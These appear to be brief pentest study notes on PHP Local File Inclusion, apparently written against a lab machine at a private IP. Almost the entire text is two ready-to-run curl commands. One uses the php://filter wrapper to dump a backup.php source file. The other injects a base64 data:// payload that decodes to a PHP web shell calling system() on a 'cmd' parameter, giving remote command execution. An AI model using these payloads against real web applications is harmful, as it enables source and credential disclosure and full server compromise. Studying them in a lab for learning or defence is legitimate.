Local File Inclusion (LFI)

LFI differs from Directory Traversal because the file is getting executed so it can be leveraged to remote code execution.

PHP Wrappers

using base64 encode + resource to display source codes:

curl -i 'http://192.168.227.16/meteor/index.php?page=php://filter/convert.base64-encode/resource=../backup.php'

using base64 decode + data filter for RCE

curl -i 'http://192.168.227.16/meteor/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls'